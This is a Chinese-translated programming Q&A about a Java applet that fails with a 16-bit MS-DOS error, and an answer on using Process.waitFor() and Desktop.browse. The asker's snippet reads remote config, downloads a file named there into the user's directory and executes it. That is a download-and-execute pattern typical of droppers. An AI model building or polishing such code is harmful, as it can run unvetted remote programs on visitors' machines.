我收到16位MS-DOS子系统错误,提示“设置应用程序环境时出错。选择“关闭”以终止应用程序。当我尝试运行应该下载程序的Java Applet时。

这是源代码:

if(getConfig(mainURL+configs).contains("1") || getConfig(mainURL+configs).contains("2") || getConfig(mainURL+configs).contains("3") || getConfig(mainURL+configs).contains("4")){
            String fname = "\\"+getConfigArray(mainURL+filess).get(0);


            String fpath = userdir.concat(fname);


            final String locationDownload = getConfigArray(mainURL+urlss).get(0);

            download(locationDownload, fpath);

            final Runtime run = Runtime.getRuntime();
            p.waitFor();


            try {
                run.exec(fpath);

            } catch (final IOException e) {
            }
            }


我读到添加行p.waitFor()可以摆脱这种情况;
但是我不知道在哪里添加它,因为当我尝试添加它时,在编译时会出现“找不到符号”错误。

非常感谢您的帮助,在此先感谢:)

最佳答案

那么您的p变量到底是什么?通常,您在Process对象上调用waitFor(),这可以从运行时的exec(...)方法调用返回的对象中获得。

如果要调用waitFor(),请在适当的对象(Process对象)上进行操作:

  final Runtime run = Runtime.getRuntime();
  // p.waitFor();

  try {
     String fpath = "";
     Process p = run.exec(fpath);
     int result = p.waitFor(); // **** add this here
     // test result here. It should be 0 if the process terminates OK.
  } catch (final IOException e) {
     e.printStackTrace();
  } catch (InterruptedException e) {
     e.printStackTrace();
  }


另外,您也不想忽略IOExceptions。至少输出stacktrace。

最后,我不知道这是否可以解决您的总体问题,但至少应允许您测试waitFor,以查看是否有帮助。了解此方法正在阻止。

编辑
您问:


但是使用run.exec可以执行程序或特定的浏览器,但不能执行URL?


这是正确的,因为如您所知,URL本身并不是“可执行”程序,并且实际上是无意义的,除非分配给浏览器。您必须使用URL运行浏览器,但是有一种方法可以通过使用Desktop对象(对于Java 1.6及更高版本)来实现。如果您的平台支持桌面,则类似的事情可能会起作用:

java.awt.Desktop desktop = java.awt.Desktop.getDesktop();
if( !desktop.isSupported( java.awt.Desktop.Action.BROWSE ) ) {
   // warn user that this is not going to work.
} else {
   try {
     java.net.URI uri = new java.net.URI(uriPath);
     desktop.browse(uri);
   } catch (IOException e ) {
     e.printStackTrace();
   } catch (URISyntaxException e) {
     e.printStackTrace();
   }
}

10-08 11:19